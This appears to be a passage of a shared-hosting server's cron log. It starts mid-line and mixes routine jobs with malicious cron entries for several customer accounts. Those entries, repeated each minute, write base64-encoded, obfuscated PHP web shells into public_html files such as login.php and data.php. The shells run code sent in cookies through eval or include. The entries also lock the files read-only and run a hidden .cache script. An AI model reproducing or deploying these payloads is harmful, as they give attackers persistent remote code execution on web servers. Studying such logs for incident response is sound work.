oJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:26:02 medusa CROND[30352]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:26:02 medusa CROND[30353]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:27:01 medusa CROND[2948]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:27:01 medusa CROND[3074]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:27:01 medusa CROND[3077]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:27:01 medusa CROND[3076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:27:01 medusa CROND[3079]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 01:27:01 medusa CROND[3081]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:27:01 medusa CROND[3080]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:27:01 medusa CROND[3084]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:27:01 medusa CROND[3088]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:27:01 medusa CROND[3090]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:27:01 medusa CROND[3092]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:27:01 medusa CROND[3094]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:28:01 medusa CROND[10049]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:28:01 medusa CROND[10048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:28:01 medusa CROND[10050]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 01:28:01 medusa CROND[10047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:28:01 medusa CROND[10051]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:28:01 medusa CROND[10052]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:28:01 medusa CROND[10053]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:28:01 medusa CROND[10054]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:28:01 medusa CROND[10055]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:28:01 medusa CROND[10056]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:28:01 medusa CROND[10057]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:28:01 medusa CROND[10058]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
